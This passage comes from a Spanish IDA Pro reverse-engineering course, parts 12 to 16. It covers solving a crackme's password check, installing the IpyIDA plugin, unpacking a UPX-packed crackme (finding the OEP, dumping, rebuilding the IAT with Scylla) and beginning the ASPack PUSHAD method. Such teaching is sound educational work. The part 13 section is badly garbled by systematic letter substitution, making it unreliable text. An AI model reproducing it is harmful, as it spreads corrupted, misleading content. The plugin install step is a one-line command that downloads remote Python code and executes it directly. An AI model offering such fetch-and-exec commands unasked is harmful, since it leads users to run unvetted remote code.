específcamente SHL REG, 1 es equivalente a multplicar por 2.
O sea que toma el valor del password lo multplica por 2 y lo compara con la sumatoria de los caracteres
del USER.

Con eso sacamos el valor numérico de un carácter, podemos hacer una fórmula que sume todos los
caracteres de la string pepe que la usare como USER.

Vemos que sumatoria es 0x1aa, por el otro lado al valor que Tipeemos como password lo multplicara
por dos antes de comparar con este 0x1aa, así que el password correcto debería ser un valor que al
tpear por dos me de 0x1aa.

X*2=0x1aa

Aclaremos que este programa tene una limitación, si la sumatoria da un número impar, es imposible
que haya un valor x que multplicado por 2 nos dé como resultado un número impar, así que esos
usuarios no tenen solución, solo tenen solución en este programa los usuarios que su sumatoria da
positva.

Despejamos

X=0x1aa/2 y pasado a decimal obviamente ya que con ATOI lo había pasado de decimal a HEXA.

O sea que si tpeo user pepe y pass 213 que pasara.


Por supuesto quedo ver que cuando la comparación es igual dentro de la función check.

Si no son iguales va al bloque rojo y devuelve CERO y si son iguales va al bloque verde y devuelve UNO,
veamos qué pasa con ese valor de retorno.

Lo guarda allí renombremos FLAG_EXITO


Así que como vimos si es CERO va a BAD REVERSER y si es UNO va a GOOD BOY como ocurrió.

Me encantaría que lo debuggeen y chequeen todo lo que reverseamos poniendo breakpoints y viendo
los valores en cada caso hasta el chequeo fnal.

Hasta la parte 13

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
13
Antes de contnnua con ejeacicios paofnndizundo el nso del IDA huaemos estu puate 13 qne seaá aelujudu,
puau conocea nn plngin qne es bustunte cómodo y qne nos du lu posibilidud de munejuanos mejoa con
Python, qne lu buaaitu qne taue inclnidu y fne sngeaidu poa Shuddy ul cnul le ugaudezco pnes es mny
inteaesunte.

El plngin en cnestón se llumu IpyIDA y se instulu solo copiundo y pegundo estu líneu en lu buaau de
Python.
import urllib2; exec
urllib2.urlopen('https://github.com/eset/ipyida/raw/stable/install_from_ida.p
y').read()

Eso es nn comundo de nnu solu líneu qne se pnede copiua y pegua desde uqní, poa si se coaaompe ulgo el
mismo se encnentau en este link.

h ps://githnb.com/eset/ipyidu

Eso huaá qne se instule untomátcumente en nn pua de minntos estuaá listo no le den impoatunciu u
mensujes de udveatenciu de veasión de Python fnncionuau ignulmente. (Al fnul del cupítnlo aecopilé
ulgún qne otao paoblemu qne tnve ul instulualo en otaus máqninus, si ulgnien tene ulgún paoblemu vea
ullí)

A mi lnego de instuluase y uaauncuase desde EDIT-PLUGINS-IpyIDA me upuaeció en nnu ventunitu infeaioa


con poco lngua puau escaibia, peao uaaustaándolu pnse ucomodualu como pestuñu lo cnul du más lngua y
comodidud.

Es bneno ucluaua qne unnqne tenemos Python en nnestau muqninu instuludo poa IDA, si qneaemos coaaea
nn scaipt de Python pnao mnchus veces debemos hucealo fneau de IDA, tunto lu buaau como lu posibilidud
de coaaea scaipts de Python dentao de IDA son noamulmente puau scaipts puau nsua lus fnnciones inteanus
de IDA, o seu IDAPYTHON, lo cnul no fnncionu fneau de IDA.
Ignul en el Python inclnido en el IDA mnchus cosus fnncionun ignul qne en el de fneau, peao ulgnnu qne
otau no, y es bneno ucluaua qne eso pnede pusua.

O seu el Python inteano de IDA se usemeju ul OLLYDBG scaipt, puau podea scaipteua el fnncionumiento del
IDA, más qne puau scaipts pnaos de Python qne se ejecntun en foamu más computble fneau de IDA.

Obviumente es mncho más podeaosu qne lu buaaitu de Python si upaetumos lu teclu ? puau vea lu
aefeaenciu aápidu.

IPython -- An enhanced Interactive Python


=========================================

IPython offers a combination of convenient shell features, special commands


and a history mechanism for both input (command history) and output (results
caching, similar to Mathematica). It is intended to be a fully compatible
replacement for the standard Python interpreter, while offering vastly
improved functionality and flexibility.

At your system command line, type 'ipython -h' to see the command line
options available. This document only describes interactive features.

MAIN FEATURES
-------------

* Access to the standard Python help. As of Python 2.1, a help system is


available with access to object docstrings and the Python manuals. Simply
type 'help' (no quotes) to access it.

* Magic commands: type %magic for information on the magic subsystem.

* System command aliases, via the %alias command or the configuration file(s).

* Dynamic object information:

Typing ?word or word? prints detailed information about an object. If


certain strings in the object are too long (docstrings, code, etc.) they get
snipped in the center for brevity.
Typing ??word or word?? gives access to the full information without
snipping long strings. Long strings are sent to the screen through the less
pager if longer than the screen, printed otherwise.

The ?/?? system gives access to the full source code for any object (if
available), shows function prototypes and other useful information.

If you just want to see an object's docstring, type '%pdoc object' (without
quotes, and without % if you have automagic on).

* Completion in the local namespace, by typing TAB at the prompt.

At any time, hitting tab will complete any available python commands or
variable names, and show you a list of the possible completions if there's
no unambiguous one. It will also complete filenames in the current directory.

This feature requires the readline and rlcomplete modules, so it won't work
if your Python lacks readline support (such as under Windows).

* Search previous command history in two ways (also requires readline):

- Start typing, and then use Ctrl-p (previous,up) and Ctrl-n (next,down) to
search through only the history items that match what you've typed so
far. If you use Ctrl-p/Ctrl-n at a blank prompt, they just behave like
normal arrow keys.

- Hit Ctrl-r: opens a search prompt. Begin typing and the system searches
your history for lines that match what you've typed so far, completing as
much as it can.

- %hist: search history by index (this does *not* require readline).

* Persistent command history across sessions.

* Logging of input with the ability to save and restore a working session.

* System escape with !. Typing !ls will run 'ls' in the current directory.

* The reload command does a 'deep' reload of a module: changes made to the
module since you imported will actually be available without having to exit.

* Verbose and colored exception traceback printouts. See the magic xmode and
xcolor functions for details (just type %magic).

* Input caching system:

IPython offers numbered prompts (In/Out) with input and output caching. All
input is saved and can be retrieved as variables (besides the usual arrow
key recall).
The following GLOBAL variables always exist (so don't overwrite them!):
_i: stores previous input.
_ii: next previous.
_iii: next-next previous.
_ih : a list of all input _ih[n] is the input from line n.

Additionally, global variables named _i<n> are dynamically created (<n>


being the prompt counter), such that _i<n> == _ih[<n>]

For example, what you typed at prompt 14 is available as _i14 and _ih[14].

You can create macros which contain multiple input lines from this history,
for later re-execution, with the %macro function.

The history function %hist allows you to see any part of your input history
by printing a range of the _i variables. Note that inputs which contain
magic functions (%) appear in the history with a prepended comment. This is
because they aren't really valid Python code, so you can't exec them.

* Output caching system:

For output that is returned from actions, a system similar to the input
cache exists but using _ instead of _i. Only actions that produce a result
(NOT assignments, for example) are cached. If you are familiar with
Mathematica, IPython's _ variables behave exactly like Mathematica's %
variables.

The following GLOBAL variables always exist (so don't overwrite them!):
_ (one underscore): previous output.
__ (two underscores): next previous.
___ (three underscores): next-next previous.

Global variables named _<n> are dynamically created (<n> being the prompt
counter), such that the result of output <n> is always available as _<n>.

Finally, a global dictionary named _oh exists with entries for all lines
which generated output.

* Directory history:

Your history of visited directories is kept in the global list _dh, and the
magic %cd command can be used to go to any entry in that list.

* Auto-parentheses and auto-quotes (adapted from Nathan Gray's LazyPython)

1. Auto-parentheses
Callable objects (i.e. functions, methods, etc) can be invoked like
this (notice the commas between the arguments)::
In [1]: callable_ob arg1, arg2, arg3
and the input will be translated to this::
callable_ob(arg1, arg2, arg3)
This feature is off by default (in rare cases it can produce
undesirable side-effects), but you can activate it at the command-line
by starting IPython with `--autocall 1`, set it permanently in your
configuration file, or turn on at runtime with `%autocall 1`.

You can force auto-parentheses by using '/' as the first character


of a line. For example::
In [1]: /globals # becomes 'globals()'
Note that the '/' MUST be the first character on the line! This
won't work::
In [2]: print /globals # syntax error

In most cases the automatic algorithm should work, so you should


rarely need to explicitly invoke /. One notable exception is if you
are trying to call a function with a list of tuples as arguments (the
parenthesis will confuse IPython)::
In [1]: zip (1,2,3),(4,5,6) # won't work
but this will work::
In [2]: /zip (1,2,3),(4,5,6)
------> zip ((1,2,3),(4,5,6))
Out[2]= [(1, 4), (2, 5), (3, 6)]

IPython tells you that it has altered your command line by


displaying the new command line preceded by -->. e.g.::
In [18]: callable list
-------> callable (list)

2. Auto-Quoting
You can force auto-quoting of a function's arguments by using ',' as
the first character of a line. For example::
In [1]: ,my_function /home/me # becomes my_function("/home/me")

If you use ';' instead, the whole argument is quoted as a single


string (while ',' splits on whitespace)::
In [2]: ,my_function a b c # becomes my_function("a","b","c")
In [3]: ;my_function a b c # becomes my_function("a b c")

Note that the ',' MUST be the first character on the line! This
won't work::
In [4]: x = ,my_function /home/me # syntax error

________________________________________________________________________

Bneno obviumente tene mnchus posibilidudes, qnito lo qne mostao aecientemente con ESC.

Lu opción de untocompletua con lu teclu TAB qne no tene lu buaau de Python inclnidu, es de
ugaudecease.

Vemos qne si tpeo imp y TAB me untocompletu impoat y si le soy TAB de nnevo.
Me sulen lus posibilidudes de impoatua qne pnedo nuvegua puau uaaibu y ubujo con lus echus y qnitua
con ESC.

Al ponea el signo de paegnntu nnu vez, me du nnu aápidu infoamución y si lo pongo dos veces me
mnestau el código tuadu nn autto más esto.
Cnundo teamino con ESC vnelvo donde estubu.

Tumbién con lu echu puau uaaibu y ubujo pnedo ia u los comundos unteaioaes qne nse.

%hist mnestau los comundos históaicos qne nse.

%edit ubae nn notepud

Y %edit x-y ubaiaá nn notepud con lus líneus en ese aungo.

%histoay -n le ugaegu los númeaos de líneu puau subea bien si necesitumos ubaia nn aungo puau uamua nn
scaipt con edit.
Obviumente IPython es bustunte potente y tene miles de comundos los cnules pneden hulluase
completos uqní.

h p://ipython.oag/ipython-doc/3/index.html

Huaemos nn pua de ejemplitos simples con lus upi de inclnidus de IDApython nsundo este nnevo plngin.

Lu diaección uctnul del cnasoa


Si hugo nn scaipt y lo gnuado.

Si ejecntumos el scaipt desde el menú de IDA, FILE-SCRIPT FILE fnncionuau.

Tumbién el comundo de idc.GetDisusm(eu) nos duaá lu instancción en donde está nbicudo el cnasoa.
Si cumbio el cnasoa u otau instancción debeaé hullua de nnevo eu

Con idc.GetOpnd pnedo obtenea el paimea o segnndo opeaundo de lu instancción.

El nombae de lu fnnción uctnul.


El nombae de todus lus fnnciones del segmento.

Lus instancciones de lu fnnción.

Lus aefeaencius u lu fnnción si ponemos el mismo en el inicio de nnu fnnción qne tengu aefeaencius y
volvemos u hullua el eu.
Veo lu aefeaenciu.

El plngin nos du mnchu comodidud y IDApython tene miles de instancciones qne siaven puau ponea
baeukpoints, loggeua, uaauncua el debnggea etc.

Bneno nnu puate de descunso nos vemos en lu 14

Ricuado Nuavuju

PROBLEMAS AL INSTALAR
Snele hubea paoblemus de instulución si tenemos instuludo paeviumente pip en Python, eso se pnede
veaifcua fácilmente in IDA tpeundo untes de instulua en lu buaau de Python.

impoat pip

Si no devnelve eaaoa es qne yu tenen instuludo pip y fulluau ul instulua lo qne deben hucea es ubaia nnu
consolu de Windows y tpeua.
python -m pip uninstall pip setuptools

y reiniciar IDA con eso podrán instalar el plugin correctamente.

Si al reiniciar no arranca nuevamente, es que deben bajarse de la página y copiar a mano


ipyida_plugin_stub.py en la carpeta plugins de IDA.

h ps://githnb.com/eset/ipyidu

Ahora si hasta la próxima.


Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 14
Este curso será variado y abarcara diferentes tópicos del reversing (ya dijimos reversing estátcoo
debuggingo unpackingo exploitng por ejemplo)o
En este capítulo desempacaremos el archivo CRACKME.exe empacado con el últmo UPX. No
signifca que vamos a hacer un montón de partes solo con unpacking contnuadaso iremos variando
de temaso y mezclando diferentes tópicos para que nadie se aburrao así que habrá empacados cada
tantoo mezclados con otros temas.

Archivos empacados
La defnición de archivo empacado es un archivo que oculta el código ejecutable de un programao
guardándolo con algún tpo de compresión o encriptación para que no se pueda reversear
fácilmenteo agrega además un STUB o sección desde donde arrancao que toma en tempo de
ejecución el código empacadoo lo desempaca en memoria en alguna otra sección o en la mismao
para que se pueda ejecutar y luego salta a ella.
Hay mil variantes de packerso y muchos son además protectoreso rompiendo la IAT o tabla de
importacioneso rompiendo el HEADERo agregando código antdebugger para evitar el
desempacado y reconstrucción del archivo original.
El caso más simple de packer es UPXo que no tene antdebuggerso ni trucos sucioso pero permite
iniciarse como siempre por lo más sencilloo adjunto estará el archivo PACKED_CRACKME.EXE.

Le pondremos la tlde a MANUAL LOAD y le quitamos la de CREATE IMPORTS SEGMENT ya que es


necesario que tengamos todas las secciones cargadaso y si puede afectar la tlde de CREATE
IMPORTS SEGMENTSo la verdad no lo séo pero IDA aconseja quitarla cuando es un empacado así
que lo haremos.

Ese es el start o ENTRY POINT del archivo PACKED_CRACKME.exeo vemos que se encuentra en la
dirección 0x409be0o mientras que el original se encontraba en 0x401000o como veamos abajo.

También comparando los segmentos de amboso vemos que el packeado luego del header tene un
segmento llamado UPX0o cuyo largo en memoria es más largo que el programa original.
ORIGINAL

PACKEADO

Vemos que la sección UPX0 del packeado termina en 0x409000 mientras que en el original todas
las secciones se ubican en la memoria desde 0x401000 hasta 0x408200o
Ojo que estamos hablando de memoria virtual o sea cuando arranca un programa puede tener 1k
en el disco y reservar 20 K o lo que quiera en la memoria.
Eso se puede ver en el IDA por ejemplo en la dirección de inicio 0x401000 de la sección de código
del original vemos.

Dicha sección (SECTION SIZE IN FILE) ocupa 0x600 byteso mientras que en memoria (VIRTUAL SIZE)
ocupa 0x1000.
Mientras que el empacadoo si vamos a 0x401000 que es el inicio de la sección UPX0.
Vemos que es una sección de largo 0 bytes en el discoo pero en la memoria ocupa 0x8000 o sea
que esto reserva espacio vacíoo para armar aquí el código del programa original y luego saltar a
ejecutarloo hay sufciente espacio para hacerlo.

También vemos que la dirección 0x401000 por el prefjo dword_ delante signifca que su
contenido es del tpo DWORD.
El signo (?) signifca que solo está reservado o sea no tene contenido y el dup o multplicaro
signifca que se multplica ese d ord por 0xc00 o sea 0x3000 bytes reservados.

Luego en 0x404000 hay 0x1400 d ords mas (?) o sea solo reservados.

O seao en total hay reservados en memoria 0x8000 bytes para armar allí el programa.
También vemos que en 0x401000 hay una referencia a código ejecutable ya veremos que es.

Luego el packeado tene esta segunda sección cuyo size en el disco es 0xe00 y en la memoria
0x1000 y que posiblemente sea el programa original guardado con algún método de encripcion
simple para que no se pueda ver el código original.
Si miramos las referencias en la dirección de inicio de la sección 0x409000.
Vemos que hacia abajo (DOWN) hay una referencia en una parte ejecutableo si hacemos click allí.

Vemos que en el STUB a contnuación del entry point carga la dirección 0x409000 (recordar el
OFFSET delante)
Si apretamos la barra ahí vemos
Que el código del STUB está en la misma sección UPX1 debajo del código empacado del programa
originalo o sea que en la sección UPX1 tenemos tanto los bytes guardados del programa original
encriptados y el código del STUB a partr de 0x409be0.
No hay que ser muy pillo para darse cuenta que ira leyendo bytes desde 0x409000 le aplicara
ciertas operaciones y los guardara en 0x401000o vemos que EDI es igual a ESI-0x8000 o sea

O sea se ve que usara el contenido de ESI como SOURCE de donde ira leyendo los datoso les
aplicara ciertas operaciones y los guardara en el contenido de EDIo lo que ira armando el
programa.
Habíamos dicho que en 0x401000 había una referencia a código ejecutableo si hacemos doble click
en esa referencia.

Vemos que hay un salto a 0x401000.


JMP NEAR es un salto directo a la dirección que está al lado o sea que saltara a 0x401000o
evidentemente aquí luego ejecutar todo el STUB y armar el código originalo saltara al OEP en
0x401000 que sería el ORIGINAL ENTRY POINT que es diferente del ENTRY POINT del STUB que se
encuentra en 0x00409BE0

Llamaremos OEP o ORIGINAL ENTRY POINT al ENTRY POINT del programa originalo obviamente
como es un programa empacado no se sabe dónde está y solo nosotros como tenemos el original
podemos saber que estaba en 0x401000.
Obviamente cuando nos llega un programa empacado no sabemos cuál es el OEPo porque no
tenemos el originalo así que va a haber que hallarloo viendo cuando el STUB termine de hacer todas
sus tretas y termine de armar el código originalo saltará a ejecutarlo para comenzar el programao
casi siempreo la primera línea de código que ejecute en esa sección que armo será el OEP.
Podríamos poner un BREAKPOINT en ese JMP al OEPo para ver si allí el programa original ya está
armadoo probemos.

Elijamos el debugger LOCAL WIN32 DEBUGGER y apretemos START DEBUGGER.

Allí paro en el salto al OEPo traceemos un paso con f8.

Apretamos YES para que interprete como CODIGO la primera sección UPX0 que estaba defnida
como DATA.
Vemos que ya desempaco el código y salto a ejecutar. El código es muy parecido al 0x401000 del
originalo aunque vemos que al querer pasar a modo grafco no lo hace porque no está defnido
como función (loc_401000)o pero lo haremos automátcamente.
Hay un menu medio oculto en la esquina inferior izquierdao haciendo click derechoo elijo
REANALYZE PROGRAM.

Vemos que al cliquearlo la dirección loc_401000 cambio a sub_401000 lo cual indica que ahora es
una funcióno así que podemos cambiarla a modo gráfco con la barra espaciadora.
Ahora quedo más linda.

Una diferencia que vemos es que el original mostraba en 0x401002 por ejemplo CALL
GetModuleHandleAo mientras que esta muestra CALL sub_401056o veamos que hay dentro de ese
CALL.

Veamos la diferencia con el originalo si entramos en el CALL GetModuleHandleA en el original.

También hay un salto indirectoo aquí detecta que salta a la apio el otro noo pero donde va el
packeado allí?
El contenido de 0x403028 es un o set (o _) o sea la dirección de la api GetModuleHandleA y en el
original la misma dirección esta en la sección idata y contene también la dirección de la misma
api.

A pesar de que terminan saltando al mismo lugaro hay una diferencia muy importante que
veremos más adelante.

Yo tengo el código del programa desempacadoo aunque aún no es funcional y si solo tengo que
analizar estátcamente el código del programa que se armó en la primera seccióno lo que hago es
lo siguiente.

Primero en SEGMENTS

Verifco que todas las secciones del packer tengan la L o sea que cargaran en el LOADERo como
vemos en la imageno incluso puedo agregar alguna dll o segmento que quiera que esté en el
análisis estátcoo haciendo CLICK DERECHO-EDIT SEGMENT en la línea que queremos agregar al
LOADER.
Los segmentos que queremos que se agreguen le ponemos la tlde en LOADER SEGMENTo en este
caso solo dejaremos los segmentos del PACKER pero es bueno saber que podemos agregar otros.
Luego la opción TAKE MEMORY SNAPSHOT guardara los segmentos que hayamos marcados como
LOADER con el código que tengan. (NO CONFUNDIR CON LA OTRA OPCION FILE-TAKE DATABASE
SNAPSHOT que estudiamos antes)

Vemos que si paro el DEBUGGERo y por supuesto quedo en el LOADER y voy a 0x401000 en vez de
estar vacío como anteso ahora aparece el código que copiamos cuando estábamos parado en el
OEP y que ahora está disponible para hacer reversing estátco al igual que todos los segmentos
que tengan la Lo por supuesto al arrancar el DEBUGGER de nuevo se perdería porque lo pisaría con
los bytes que realmente estarán allí al inicializar la sección en el DEBUGGERo así que si necesitamos
la database con el análisis estátcoo debemos copiarla a otra carpeta y abrirlo con otro IDA para
trabajar tranquilos.

Si arranco de nuevo el debugger y paro en el ENTRY POINT del mismo antes de ejecutar el STUBo
veo que la zona de 0x401000 esta vacía nuevamente.

Lo que habíamos guardado en la database se perdióo porque en el DEBUGGER la info del LOADER
se pisó con los bytes que inicializaron la sección UPX0o así queo si lo necesitamos para reversing
estátcoo como dije antes luego de hacer el TAKE MEMORY SNAPSHOT hay que copiarlo a otra
carpetao antes de volver a arrancar el debugger.
Como soy un molesto voy a buscar una segunda forma de encontrar el OEPo que es buscando la
primera instrucción que se ejecute en la primera seccióno es otro método que a veces puede
funcionar.

Arranco de nuevo el PACKEADO en el DEBUGGERo parando en su ENTRY POINT.

Voy a la primera sección donde comienza a 0x401000.

Allí coloco un BREAKPOINT con f2o lo confguro para que pare por EXECUTE o sea cuando ejecuta y
no cuando se escriba o lea allí ya que sino parara cuando copia el código y lo va armando y no
quiero esoo solo quiero que cuando este armado y salte a ejecutaro pare en la primera instrucción
que ejecuteo y como no sé cuál seráo pongo un BREAKPOINT ON EXECUTE que abarque toda la
sección (0x8000 bytes)
Se ponen todas las instrucciones rojas.

Deshabilito los otros dos breakpoints en DEBUGGER-BREAKPOINT-BREAKPOINT LIST.

CLICK DERECHO-DISABLE.
Y ahora si doy RUN.

Y veo que la primera instrucción que paro en la sección recién armada es en este caso 0x401000
mi OEP hallado.

O sea que usando este método coincide y hallamos el OEP que es 0x401000o quito el breakpoint.

Luego de reanalizar me queda de nuevo como función.

O sea que hasta ahora obtuvimos el OEP y paramos en el mismo de dos formas diferenteso
pudimos hacer un SNAPSHOT del código armadoo lo único que nos falta es DUMPEAR y
RECONSTRUIR la IATo para terminar de obtener un archivo desempacado ejecutable y funcional.

Hasta la parte 15 donde terminaremos eso.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
15
En la parte anterior vimos un par de métodos de los tantos que hay para detectar y llegar al OEP en un
archivo empacado, ahora contnuaremos con los dos pasos faltantes, el DUMPEADO y la
RECONSTRUCCION DE LA IAT, tratando de explicar la misma.

Volvemos a llegar al OEP y a REANALIZAR el programa y ya tenemos todo listo para DUMPEAR.

Ahora usaremos un script de IDC no de Python.

statc main()
{
auto fp, ea;
fp = fopen("pepe.bin", "wb");
for ( ea=0x400000; ea < 0x40b200; ea++ )
fputc(Byte(ea), fp);
}

En el script ponemos la ImageBase o sea 0x400000 y la dirección máxima que vemos en el IDA en la
pestaña SEGMENTS, de la últma sección del ejecutable a DUMPEAR, en este caso la sección OVERLAY
que es la últma sección del ejecutable termina en 0x40b200.
Lo guardamos con algún nombre por ejemplo DUMPER.idc

Y lo corremos en FILE-SCRIPT FILE vemos que acepta scripts tanto de Python como IDC, así que no hay
problema.
Hago una copia y lo renombro a extensión EXE. (si no ven las extensiones de los archivos deben cambiar
esa opción en OPCIONES DE CARPETA)

Vemos que ni icono tene, así que aún faltan algunos pasos.

Adjunto está el PE Editor 1.7 lo descomprimimos y abrimos.


En SECTIONS.

Hacemos click derecho en cada una de las secciones y aplicamos DUMPFIXER.


Vemos que ya estamos más cerca, al menos ya sale el icono, aunque aún no corre, porque falta reparar
la IAT.

¿QUE ES LA IAT?

La IAT o IMPORT ADDRESS TABLE es una tabla ubicada en el ejecutable, que se utliia cuando arranca el
programa y allí guarda las direcciones de las funciones importadas que utliia, para que el programa
pueda correr en cualquier máquina.

Si la IAT esta correcta y le pasamos el ejecutable a otra persona, la IAT se llenará con los valores
correspondientes a esa máquina sea cual sea la versión de Windows que tenga y se mantendrá la
compatbilidad y funcionara.

O sea, la IAT se encontrará siempre en una posición determinada en cada ejecutable, y tendrá
posiciones jas para que cada función la llene, por ejemplo.

Recordamos de la parte anterior que quedo por explicar la diferencia entre la imagen superior que es
del archivo empacado cuando estaba en el OEP antes de DUMPEAR y la del original.

Ambas muestran la dirección 0x403238 y parecen tener el mismo contenido, ahora abramos también el
archivo original.
Vemos allí el FILE OFFSET 0x1038 para poder buscar en el HXD en el ejecutable original.

Lo abro con HXD al original.

Vemos que el contenido en el ofset 0x1038 es 0x355e.


Si le sumo 0x355e a la ImageBase 0x400000 nos da 0x40355e y que hay allí?.

Para verlo deberíamos cargar el original con MANUAL LOAD para que cargue todas las secciones del
ejecutable.

Aceptamos todas las secciones y cuando arranca vamos a 0x40355e y vemos a la derecha el nombre de
la api GetModuleHandleA.

Así que el sistema cuando arranca, si miramos la imagen inferior, el programa va trabajando en todos
esos cajoncitos.
Y a cada uno le suma al contenido de la ImageBase y busca la string de la función correspondiente, y de
esa string resuelve en tempo de ejecución la dirección en nuestra máquina, como por ejemplo en este
caso busca la dirección de GetModuleHandleA en nuestra máquina y machaca el 5e 35 con la dirección
de la api.

Por eso un ejecutable funciona en cualquier máquina, porque siempre buscara en cada entrada de la IAT
el nombre de la api correspondiente y lo resolverá al arrancar, por lo cual siempre la dirección que
contenga será válida aunque diferente de máquina a máquina, sin embargo la dirección del cajoncito de
GetModuleHandleA en todas las maquinas será el mismo en todos los ejecutables sin randomiiar como
este, lo que cambiara será el contenido.

Por eso en cualquier maquina si hago

CALL [0x403238]

Siempre funcionara porque 0x403238 es la entrada de la IAT para GetModuleHandleA, lo que variara
será el contenido que el sistema guardara machacando el valor original 5e 35, que apuntaba a la string si
le sumamos la base.

Sin cerrar los otros dos IDA con el empacado parado en el OEP y el original, en un tercer IDA abro el
DUMPEADO que acabo de hacer pepe - Copy.exe.

En el mismo voy a la misma entrada de la IAT en 0x403238


Vemos aquí el le ofset es 0x3238 no coincide con el original por el DUMPFIXER que hiio que el tamaño
en el disco sea igual al tamaño virtual, lo que cambia los ofsets, igual será la entrada de la IAT de la api
GMHA.

Si lo abrimos en HXD y vamos a 0x3238.

Vemos allí
Vemos que lo que tenemos allí es una dirección de una api y no un ofset para sumarle a la ImageBase
para hallar el nombre de la api.

Como el sistema cuando arranco el empacado resolvió la dirección de la api y guardo su dirección allí, al
dumpear lo que hay es eso la dirección de la api GetModuleHandleA para el empacado.

Y cual es el problema?
Es que el sistema al arrancar busca allí en la entrada de la IAT el valor para sumarle a la ImageBase y
buscar una string para resolver y eso se rompió pues al dumpear quedo guardada la dirección nal, y el
programa crasheara al arrancar, al no poder ir llenando las entradas de la IAT como corresponde.

Bueno para terminar con esto, el tema es que hay que arreglar la IAT y restaurar todos esos ofsets que
apuntaban a las strings con los nombres de la api, y esto no se hace a mano, es muy largo, para eso
usaremos una tool llamada Scylla.

h ps://tuts4yoututs4you.com/download.php?view.3503

password del rar =tuts4you

Lo arranco
En ATTACH TO AN ACTIVE PROCESS elijo del menú desplegable, el proceso del empacado que está
detenido aun en el IDA en el OEP.

Le cambiamos el OEP a 401000

Apretamos IAT AUTOSEARCH


O sea ahí dice que la IAT empieia en 00x403184 y termina 0x108 mas adelante.

Y luego GET IMPORTS.

Vemos que resolvió todo menos tres entradas que las muestra al apretar SHOW INVALID
Por otro lado vemos que el ofset 3238 en el empacado sabíamos que correspondía a
GetModuleHandleA y esa está bien resuelta, podemos mirar en el empacado las direcciones de las
entradas invalidas 0x403248 en adelante, a ver que son.

Vemos que son las entradas de comctl32,

Y si hago click derecho en las entradas invalidas del Scylla y elijo SCYLLA PLUGIN-PE COMPACT las
reparara bien.
Coinciden con las que habíamos visto que eran

Si apretamos SHOW SUSPECT veamos si están correctas las dos sospechosas yendo a 0x403258 y
0x403278.

Se ven correctas así que podemos apretar el botón FIX DUMP


Lo guarda al reparado como pepe-Copy_SCY.exe y veo que funciona.

Vemos que al abrir el que desempacamos en el IDA ya arranca del OEP 0x401000 y que se ven los
nombres de las apis como en el original ya que están bien resueltas.
Incluso la parte de la IAT también se ve como el original.

Bueno hemos desempacado nuestro primer y sencillo packer, más adelante veremos otros más
complejos.

Hasta la parte 16

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
16
Antes de seguir con mas reversing haremos un ejercicio más de unpacking con otro target, en este caso
UnPackMe_ASPack 2.2.

El mismo se encuentra en la categoría de los sencillos, más adelante en el curso luego de abordar otros
temas volveremos con unpacking avanzado.

Allí vemos el Entry Point del archivo empacado, comienza con la instrucción PUSHAD, que no habíamos
visto entre las principales pero lo que hace es hacer un PUSH de cada registro al stack, o sea

PUSHAD es igual a PUSHEAR o sea guardar en el stack los registros en el siguiente orden

Inversamente POPAD es la operación inversa hace POP del contenido del stack
guardándolo en los registros en el siguiente orden (salvo ESP ese no se toca al hacer
POPAD).
En los packers sencillos, la mayoría al iniciarse hacían PUSHAD para guardar el estado
original de los registros al arrancar y hacían POPAD para restaurarlos antes de saltar
al OEP a ejecutar el programa ya desempacado en memoria.
Gracias a esto se podía hallar fácilmente el OEP utlizando el método del PUSHAD-
POPAD, obviamente en packers más modernos se han dado cuenta de esto y evitan
usar esas instrucciones.
Como es el método del PUSHAD-POPAD, veamos.
Primero que nada, tenemos que elegir el debugger y arrancarlo, ya sabemos hacer
eso en DEBUGGER- SELECT DEBUGGER y elegimos LOCAL WIN32 DEBUGGER.
Eso ya lo sabemos, pero ahora para practcar lo arrancaremos desde Python, pueden
tpear las instrucciones una a una en la barra de Python o usar el plugin que
instalamos IpyIDA que es más cómodo yo lo hare así.

Vemos que al escribir idc.Load y apretar TAB me dice que existe idc.LoadDebugger,
veamos.
Vemos que en el caso nuestro debemos elegir win32 y 0 para local (se usa 1 para
debugger remoto).
Probemos.

Parece que le gusto contesto TRUE.

Vemos que ya está elegido si vuelvo a repetr el mismo comando me contesta FALSE porque ya estaba
arrancado.

El método del PUSHAD se basa en ejecutar el PUSHAD y en la siguiente instrucción, buscar los registros
que guardo en el stack y a contnuación poner un breakpoint para que cuando lo trate de recuperar con
el POPAD justo antes de saltar al OEP, luego de desempacar el código original, se detenga el debugger.

O sea que poniendo con F2 un breakpoint después del PUSHAD ya pararíamos después de ejecutarlo.
(PUSHA es similar a PUSHAD).
El que lo quiere hacer desde Python puede tpear.

idaapi.add_bpt(0x46b002, 0, BPT_SOFT)

Con eso se agrega el breakpoint desde Python el primer argumento es la dirección, el segundo el largo
del breakpoint y el tercero es el tpo en este caso el breakpoint normal por sofware BPT_SOFT o 0.

Ya seleccionamos el DEBUGGER, pusimos el primer breakpoint ahora hay que arrancar el debugger para
que pare en el breakpoint eso es sencillo con F9 sino desde Python.

StartDebugger("","","");

Con ese comando arrancara el debugger que elegimos si todo es correcto, y en este caso parara en el
BREAKPOINT que pusimos en 0x46B002.

Ahora aquí debemos mirar el stack y poner un breakpoint en la primera línea, ya que es allí donde están
los valores de los registros guardados por PUSHAD que más adelante los recuperara con POPAD, para
que se detenga allí, al recuperarlos.
Allí vemos que debemos poner el BP en 0x19FF64 en mi caso, en el de ustedes en su primera dirección
del stack, apuntada por ESP.

Ahora pongo el cursor en la ventana del listado y apretó le echita que está al lado de ESP.

Apretando la echita al lado de un registro se tratará de mostrar esa dirección si existe, en la ventana
donde esta el cursor, así que podemos poner el BREAKPOINT allí, a mano con F2, pero tendremos que
con gurarlo ya que en este caso debe ser de LECTURA Y ESCRITURA no de ejecución ya que aquí parara
cuando recupere o lea el valor no ejecutara código allí.

Al apretar F2 se da cuenta y abre la ventana de con guración del BP.

Si no aparece deberíamos ir a DEBUGGER-BREAKPOINTS-BREAKPOINT LIST


Y haciendo click derecho EDIT podemos cambiar la con guración del que queremos.

Se puede poner este breakpoint desde Python?.

idaapi.add_bpt(0x019FF64, 1, 3)

El argumento 1 es el largo del breakpoint y 3 el tpo de breakpoint en este caso READ-WRITE ACCESS
como vemos en la tablita si lo tpeo aparece el mismo breakpoint que pusimos a mano.

Deshabilitamos los BP anteriores a mano en la lista de BREAKPOINTS con click derecho DISABLE o desde
Python.

